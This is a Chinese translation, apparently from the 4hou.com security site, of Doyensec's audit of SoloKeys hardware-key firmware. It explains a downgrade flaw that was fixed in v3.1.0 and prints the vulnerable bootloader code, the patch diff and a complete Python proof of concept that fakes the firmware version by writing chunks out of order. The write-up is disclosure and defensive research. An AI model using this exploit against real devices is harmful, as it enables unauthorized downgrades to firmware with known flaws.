对安全登录密钥硬件 SoloKeys 固件安全的分析 - 嘶吼 RoarTalk – 网络安全行业综合服务平台,4hou.com

对安全登录密钥硬件 SoloKeys 固件安全的分析

h1apwn 漏洞 2020-09-07 10:40:00
601376
收藏

导语:Doyensec挖掘并报告了 SoloKeys 固件中的3个漏洞,其中两个漏洞是信息泄露的问题,另一个已被定级为严重性较高的漏洞,三个漏洞已在v3.1.0中修复。

Doyensec挖掘并报告了 SoloKeys 固件中的3个漏洞,其中两个漏洞是信息泄露的问题,另一个已被定级为严重性较高的漏洞,三个漏洞已在v3.1.0中修复

漏洞细节参见报告:

https://doyensec.com/resources/Doyensec_SoloKeys_TestingReport_Q12020_v3.pdf

0x01 安全分析

之前我分享了我在基于新的NXP LPC55S69微控制器和用Rust重写的新固件Build的新的Solo型号(有关该固件的博客文章即将发布)。由于我的大部分精力都将花费在新固件上,但也不希望放弃当前基于STM32的固件。我们将继续提供支持修复漏洞,但很可能会引起更广泛社区的关注。

因此,我们认为有必要进行安全性分析。

我们要求Doyensec不仅详细说明他们的漏洞,而且详细说明挖掘过程,以便我们在发布Rust时可以重新验证Rust中的新固件。

0x02  主要发现:降级攻击

漏洞挖掘包括静态源码审计和固件模糊测试,2020年1月21日至1月31日,一位研究人员进行了为期2周的挖掘。

他发现了一种降级攻击,利用这种攻击,可以将固件“上传”为多个无序块,从而能够将其“升级”为以前的旧版本。降级攻击通常非常敏感,因为降级攻击使攻击者可以降级到固件的先前版本,然后利用较早的已知漏洞。

但是,实际上,对Solo密钥进行这种攻击需要对密钥进行物理访问,或者,如果在恶意站点上进行了尝试则需要在WebAuthn窗口上进行明确的用户确认。

这意味着钥匙可以肯定是安全的。此外,我们始终建议使用官方工具升级固件。

另请注意,我们的固件已进行数字签名,这种降级攻击无法绕过我们的签名验证。因此,可能的攻击者只能安装我们之前的发行版中二十个中的一个。

0x03  降级攻击剖析

漏洞代码如下:

https://github.com/solokeys/solo/blob/3.0.1/targets/stm32l432/bootloader/bootloader.c#L201

 // Copyright 2019 SoloKeys Developers
 //
 // Licensed under the Apache License, Version 2.0,  or the MIT license , at your option. This file may not be
 // copied, modified, or distributed except according to those terms.
 
 #include  #include  
 #include APP_CONFIG
 #include "uECC.h"
 #include "u2f.h"
 #include "device.h"
 #include "flash.h"
 #include "crypto.h"
 #include "led.h"
 #include "memory_layout.h"
 #include "ctap_errors.h"
 #include "log.h"
 
 volatile version_t current_firmware_version __attribute__ ((section (".flag2"))) __attribute__ ((__used__)) =  {
   .major = SOLO_VERSION_MAJ,
   .minor = SOLO_VERSION_MIN,
   .patch = SOLO_VERSION_PATCH,
   .reserved = 0
 };
 
 extern uint8_t REBOOT_FLAG;
 
 typedef enum
 {
     BootWrite = 0x40,
     BootDone = 0x41,
     BootCheck = 0x42,
     BootErase = 0x43,
     BootVersion = 0x44,
     BootReboot = 0x45,
     BootBootloader = 0x46,
     BootDisable = 0x47,
 } BootOperation;
 
 
 typedef struct {
     uint8_t op;
     uint8_t addr[3];
     uint8_t tag[4];
     uint8_t lenh;
     uint8_t lenl;
     uint8_t payload[255 - 10];
 } __attribute__((packed)) BootloaderReq;
 
 /**
  * Erase all application pages. **APPLICATION_END_PAGE excluded**.
  */
 static void erase_application()
 {
     int page;
     for(page = APPLICATION_START_PAGE; page < APPLICATION_END_PAGE; page++)
     {
         flash_erase_page(page);
     }
 }
 
 static void disable_bootloader()
 {
     // Clear last 4 bytes of the last application page-1, which is 108th
     uint8_t page[PAGE_SIZE];
     memmove(page, (uint8_t*)LAST_ADDR, PAGE_SIZE);
     memset(page+PAGE_SIZE -4, 0, 4);
     flash_erase_page(LAST_PAGE);
     flash_write(LAST_ADDR, page, PAGE_SIZE);
 }
 
 static void authorize_application()
 {
     // Do nothing, if is_authorized_to_boot() returns true, otherwise
     // clear first 4 bytes of the last 8 bytes of the page 108.
 
     // uint32_t zero = 0;
     // uint32_t * ptr;
     // ptr = (uint32_t *)AUTH_WORD_ADDR;
     // flash_write((uint32_t)ptr, (uint8_t *)&zero, 4);
     uint8_t page[PAGE_SIZE];
     if (is_authorized_to_boot())
         return;
     // FIXME refactor: code same as in disable_bootloader(), except clearing start address (-8)
     memmove(page, (uint8_t*)LAST_ADDR, PAGE_SIZE);
     memset(page+PAGE_SIZE -8, 0, 4);
     flash_erase_page(LAST_PAGE);
     flash_write(LAST_ADDR, page, PAGE_SIZE);
 }
 
 int is_authorized_to_boot()
 {
     // return true, if (uint32_t)AUTH_WORD_ADDR is equal 0
     // Page -4 -> 124
     uint32_t * auth = (uint32_t *)AUTH_WORD_ADDR;
     return *auth == 0;
 }
 
 int is_bootloader_disabled()
 {
     // return true, if (uint32_t)AUTH_WORD_ADDR+4 is equal 0
     // Page -4 -> 124
     uint32_t * auth = (uint32_t *)(AUTH_WORD_ADDR+4);
     return *auth == 0;
 }
 uint8_t * last_written_app_address;
 
 #include "version.h"
 bool is_firmware_version_newer_or_equal()
 {
 
     printf1(TAG_BOOT,"Current firmware version: %u.%u.%u.%u (%02x.%02x.%02x.%02x)\r\n",
           current_firmware_version.major, current_firmware_version.minor, current_firmware_version.patch, current_firmware_version.reserved,
           current_firmware_version.major, current_firmware_version.minor, current_firmware_version.patch, current_firmware_version.reserved
           );
   volatile version_t * new_version = ((volatile version_t *) last_written_app_address);
   printf1(TAG_BOOT,"Uploaded firmware version: %u.%u.%u.%u (%02x.%02x.%02x.%02x)\r\n",
           new_version->major, new_version->minor, new_version->patch, new_version->reserved,
           new_version->major, new_version->minor, new_version->patch, new_version->reserved
           );
 
   const bool allowed = is_newer((const version_t *)new_version, (const version_t *)&current_firmware_version) || current_firmware_version.raw == 0xFFFFFFFF;
   if (allowed){
     printf1(TAG_BOOT, "Update allowed, setting new firmware version as current.\r\n");
 //    current_firmware_version.raw = new_version.raw;
     uint8_t page[PAGE_SIZE];
     memmove(page, (uint8_t*)BOOT_VERSION_ADDR, PAGE_SIZE);
     memmove(page, (version_t *)new_version, 4);
     printf1(TAG_BOOT, "Writing\r\n");
     flash_erase_page(BOOT_VERSION_PAGE);
     flash_write(BOOT_VERSION_ADDR, page, PAGE_SIZE);
     printf1(TAG_BOOT, "Finish\r\n");
   } else {
     printf1(TAG_BOOT, "Firmware older - update not allowed.\r\n");
   }
   return allowed;
 }
 
 /**
  * Execute bootloader commands
  * @param klen key length - length of the bootloader request
  * @param keyh key handle - bootloader request, packeted as key handle
  * @return
  */
 int bootloader_bridge(int klen, uint8_t * keyh)
 {
     static int has_erased = 0;
     BootloaderReq * req =  (BootloaderReq *  )keyh;
 #ifndef SOLO_HACKER
     uint8_t hash[32];
 #endif
     uint8_t version = 1;
     uint16_t len = (req->lenh << 8) | (req->lenl);
 
     if (len > klen-10)
     {
         printf1(TAG_BOOT,"Invalid length %d / %d\r\n", len, klen-9);
         return CTAP1_ERR_INVALID_LENGTH;
     }
 #ifndef SOLO_HACKER
     extern uint8_t *pubkey_boot;
 
     const struct uECC_Curve_t * curve = NULL;
 #endif
 
     // Translate and enclose the requested address in the MCU flash space, starting from 0x8000000
     uint32_t addr = ((*((uint32_t*)req->addr)) & 0xffffff) | 0x8000000;
 
     uint32_t * ptr = (uint32_t *)addr;
 
     switch(req->op){
         case BootWrite:
             // Write to MCU's flash.
             printf1(TAG_BOOT, "BootWrite: %08lx\r\n",(uint32_t)ptr);
             // Validate write range.
             if (   (uint32_t)ptr < APPLICATION_START_ADDR
                 || (uint32_t)ptr >= APPLICATION_END_ADDR
                 || ((uint32_t)ptr+len) > APPLICATION_END_ADDR)
             {
                 printf1(TAG_BOOT,"Bound exceeded [%08lx, %08lx]\r\n",APPLICATION_START_ADDR,APPLICATION_END_ADDR);
                 return CTAP2_ERR_NOT_ALLOWED;
             }
 
             // Clear all application pages, if not done already.
             if (!has_erased || is_authorized_to_boot())
             {
                 erase_application();
                 has_erased = 1;
             }
             // Fail, if the validation procedure passes.
             if (is_authorized_to_boot())
             {
                 printf2(TAG_ERR, "Error, boot check bypassed\n");
                 exit(1);
             }
             // Do the actual write
             flash_write((uint32_t)ptr,req->payload, len);
             last_written_app_address = (uint8_t *)ptr + len - 8 + 4;
             break;
         case BootDone:
             // Writing to flash finished. Request code validation.
             printf1(TAG_BOOT, "BootDone: \r\n");
 #ifndef SOLO_HACKER
             if (len != 64)
             {
                 printf1(TAG_BOOT,"Invalid length for signature\r\n");
                 return CTAP1_ERR_INVALID_LENGTH;
             }
             dump_hex1(TAG_BOOT, req->payload, 32);
             // Hash all code, included in the application pages, SHA256
             ptr = (uint32_t *)APPLICATION_START_ADDR;
             crypto_sha256_init();
             crypto_sha256_update((uint8_t*)ptr, APPLICATION_END_ADDR-APPLICATION_START_ADDR);
             crypto_sha256_final(hash);
             curve = uECC_secp256r1();
             // Verify incoming signature made over the SHA256 hash
             if (
                     !uECC_verify(pubkey_boot, hash, 32, req->payload, curve)
             )
             {
               printf1(TAG_BOOT, "Signature invalid\r\n");
                 return CTAP2_ERR_OPERATION_DENIED;
             }
             if (!is_firmware_version_newer_or_equal()){
               printf1(TAG_BOOT, "Firmware older - update not allowed.\r\n");
               printf1(TAG_BOOT, "Rebooting...\r\n");
               REBOOT_FLAG = 1;
               return CTAP2_ERR_OPERATION_DENIED;
             }
 #endif
             // Set the application validated, and mark for reboot.
             authorize_application();
 
             REBOOT_FLAG = 1;
             break;
         case BootCheck:
             return 0;
             break;
         case BootErase:
             printf1(TAG_BOOT, "BootErase.\r\n");
             erase_application();
             return 0;
             break;
         case BootVersion:
             has_erased = 0;
             printf1(TAG_BOOT, "BootVersion.\r\n");
             version = SOLO_VERSION_MAJ;
             u2f_response_writeback(&version,1);
             version = SOLO_VERSION_MIN;
             u2f_response_writeback(&version,1);
             version = SOLO_VERSION_PATCH;
             u2f_response_writeback(&version,1);
             break;
         case BootReboot:
             printf1(TAG_BOOT, "BootReboot.\r\n");
             printf1(TAG_BOOT, "Application authorized: %d.\r\n", is_authorized_to_boot());
             REBOOT_FLAG = 1;
             break;
         case BootDisable:
             // Disable bootloader using a magic bytes as a confirmation phrase.
             printf1(TAG_BOOT, "BootDisable %08lx.\r\n", *(uint32_t *)(AUTH_WORD_ADDR+4));
             if (req->payload[0] == 0xcd && req->payload[1] == 0xde
                && req->payload[2] == 0xba && req->payload[3] == 0xaa)
             {
                 disable_bootloader();
                 version = 0;
                 u2f_response_writeback(&version,1);
             }
             else
             {
                 version = CTAP2_ERR_OPERATION_DENIED;
                 u2f_response_writeback(&version,1);
             }
             break;
 #ifdef SOLO_HACKER
         case BootBootloader:
             // Boot ST bootloader
             printf1(TAG_BOOT, "BootBootloader.\r\n");
             flash_option_bytes_init(1);
             boot_st_bootloader();
             break;
 #endif
         default:
             return CTAP1_ERR_INVALID_COMMAND;
     }
     return 0;
 }
 
 /**
  * Control LEDs while in the bootloader.
  */
 void bootloader_heartbeat()
 {
     static int state = 0;
     static uint32_t val = (LED_MAX_SCALER - LED_MIN_SCALER)/2;
     uint8_t r = (LED_INIT_VALUE >> 16) & 0xff;
     uint8_t g = (LED_INIT_VALUE >> 8) & 0xff;
     uint8_t b = (LED_INIT_VALUE >> 0) & 0xff;
 
     if (state)
     {
         val--;
     }
     else
     {
         val++;
     }
 
     if (val > LED_MAX_SCALER || val < LED_MIN_SCALER)
     {
         state = !state;
     }
 
     led_rgb(((val * g)<<8) | ((val*r) << 16) | (val*b));
 }
 
 uint32_t ctap_atomic_count(uint32_t amount)
 {
     static uint32_t count = 1000;
     count += (amount + 1);
     return count;
 }

diff补丁代码如下:

https://github.com/solokeys/solo/pull/368/files#diff-f7cab51b94eff98a0aff021c872244b4R203

 targets/stm32l432/bootloader/bootloader.c
 
 @@ -50,12 +50,15 @@ typedef struct {
     uint8_t payload[255 - 10];
 } __attribute__((packed)) BootloaderReq;
 
 uint8_t * last_written_app_address;
 
 /**
  * Erase all application pages. **APPLICATION_END_PAGE excluded**.
  */
 static void erase_application()
 {
     int page;
     last_written_app_address = (uint8_t*) APPLICATION_START_ADDR;
     for(page = APPLICATION_START_PAGE; page < APPLICATION_END_PAGE; page++)
     {
         flash_erase_page(page);
 @@ -106,7 +109,6 @@ int is_bootloader_disabled()
     uint32_t * auth = (uint32_t *)(AUTH_WORD_ADDR+4);
     return *auth == 0;
 }
 uint8_t * last_written_app_address;
 
 #include "version.h"
 bool is_firmware_version_newer_or_equal()
 @@ -116,7 +118,7 @@ bool is_firmware_version_newer_or_equal()
           current_firmware_version.major, current_firmware_version.minor, current_firmware_version.patch, current_firmware_version.reserved,
           current_firmware_version.major, current_firmware_version.minor, current_firmware_version.patch, current_firmware_version.reserved
           );
   volatile version_t * new_version = ((volatile version_t *) last_written_app_address);
   volatile version_t * new_version = ((volatile version_t *) (last_written_app_address-8+4));
   printf1(TAG_BOOT,"Uploaded firmware version: %u.%u.%u.%u (%02x.%02x.%02x.%02x)\r\n",
           new_version->major, new_version->minor, new_version->patch, new_version->reserved,
           new_version->major, new_version->minor, new_version->patch, new_version->reserved
 @@ -170,6 +172,7 @@ int bootloader_bridge(int klen, uint8_t * keyh)
     uint32_t addr = ((*((uint32_t*)req->addr)) & 0xffffff) | 0x8000000;
 
     uint32_t * ptr = (uint32_t *)addr;
     uint32_t current_address;
 
     switch(req->op){
         case BootWrite:
 @@ -196,9 +199,16 @@ int bootloader_bridge(int klen, uint8_t * keyh)
                 printf2(TAG_ERR, "Error, boot check bypassed\n");
                 exit(1);
             }
             current_address = addr + len;
             if (current_address < (uint32_t) last_written_app_address) {
                 printf2(TAG_ERR, "Error, only ascending writes allowed.\n");
                 has_erased = 0;
                 return CTAP2_ERR_NOT_ALLOWED;
             }
             last_written_app_address = (uint8_t*) current_address;
 
             // Do the actual write
             flash_write((uint32_t)ptr,req->payload, len);
             last_written_app_address = (uint8_t *)ptr + len - 8 + 4;
             break;
         case BootDone:
             // Writing to flash finished. Request code validation.

固件更新是一个二进制blob,其中最后4个字节表示版本。当安装新固件时,将检查这些字节以确保其版本大于当前安装的版本。固件数字签名也已通过验证,但这无关紧要,因为此攻击仅允许安装较早的签名版本。

新固件将成块写入密钥。每次写入时,指向最后写入地址的指针都会更新,因此最终它将指向固件末尾的新版本。可能会看到问题:我们假设块仅被写入一次且按顺序进行,但是没有强制执行。该补丁通过要求严格按升序写入块来解决此问题。

例如,运行v3.0.1,并选择旧固件:例如v3.0.0。搜索其中的四个字节,当被解释为版本号时,看起来大于v3.0.1。首先,将整个3.0.0固件发送到密钥。现在,last_writer_app_address指针正确指向固件的末尾,编码版本为3.0.0。

solo_firmware_downgrade_step1.png

然后,再次将四个选定的字节写入其原始位置。现在,last_write_app_address指向固件中间的某个位置,并且这4个字节被解释为“随机”版本。原来固件v3.0.0包含一些可以解释为v3.0.37的字节。


如下有一个完整地PoC:

https://github.com/doyensec/SoloKeys-2020Q1-fw-downgrade-PoC

 from intelhex import IntelHex
 import json
 import base64
 from solo import helpers
 import solo.client
 import io
 from tqdm import tqdm
 
 FW_FILE = "../firmware-3.0.0.json"
 
 with open(FW_FILE) as f:
     data = json.load(f)
 
 fw = base64.b64decode(helpers.from_websafe(data["firmware"]).encode()).decode("utf-8")
 fw_file = io.StringIO(fw)
 ih = IntelHex(fw_file)
 
 sig = base64.b64decode(helpers.from_websafe(data["versions"][">2.5.3"]["signature"]).encode())
 
 client = solo.client.find()
 client.use_hid()
 
 if not client.is_solo_bootloader():
     print("[!] Please put the SoloKey in bootloader mode")
     exit(1)
 
 # desired_version = b"\x03\x00\x00\x00"    # make the bootloader believe we're flashing 3.0.0.0
 # desired_version = b"\x03\x00\x00\x02"    # make the bootloader believe we're flashing 3.0.0.2
 desired_version = b"\x03\x00\x25\x00"  # make the bootloader believe we're flashing 3.0.37.0
 
 version_offset = ih.tobinstr().find(desired_version)
 correct_version_offset = ih.tobinstr().rfind(b"\x03\x00\x00\x00")
 if version_offset == -1:
     print("Cannot find version bytes!")
     exit(1)
 
 print("[+] Using version bytes at offset 0x{:x} instead of 0x{:x}".format(version_offset, correct_version_offset))
 
 print("[+] Flashing firmware...")
 chunk_size = 2048
 start_address, end_address = ih.segments()[0]
 version_bytes_address = start_address + version_offset
 
 for chunk_start in tqdm(range(start_address, end_address, chunk_size)):
     chunk_end = min(chunk_start + chunk_size, end_address)
     data = ih.tobinarray(start=chunk_start, size=chunk_end - chunk_start)
     client.write_flash(chunk_start, data)
 
 print("\n[+] Rewriting version bytes...")
 
 for chunk_start in tqdm(range(version_bytes_address, version_bytes_address + 4, chunk_size)):
     chunk_end = min(chunk_start + chunk_size, version_bytes_address + 4)
     data = ih.tobinarray(start=chunk_start, size=chunk_end - chunk_start)
     client.write_flash(chunk_start, data)
 
 client.verify_flash(sig)

0x04  使用AFL Fuzzing TinyCBOR

研究人员还使用AFL Fuzzing 这些固件。我们的固件依赖于外部库tinycbor来解析CBOR数据。在大约24小时的执行时间内,研究人员对超过1亿个输入的代码进行了测试,发现超过4k个虚假的输入被tinycbor误解并导致我们的固件崩溃。有趣的是,最初的输入是由我们的FIDO2测试框架生成的。

0x05  学习总结

这种固件降级漏洞出现的原因是当上传旧固件时,last_writer_app_address指针会指向固件的末尾,然后再次将四个选定的字节写入其原始位置,last_write_app_address就会指向固件中间的某个位置,并且这4个字节被解释为“随机”版本。

本文翻译自:https://blog.doyensec.com/2020/02/19/solokeys-audit.html如若转载,请注明原文地址:
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论

 
本站4hou.com,所使用的字体和图片文字等素材部分来源于原作者或互联网共享平台。如使用任何字体和图片文字有侵犯其版权所有方的,嘶吼将配合联系原作者核实,并做出删除处理。
©2024 北京嘶吼文化传媒有限公司 京ICP备16063439号-1 本站由 提供云计算服务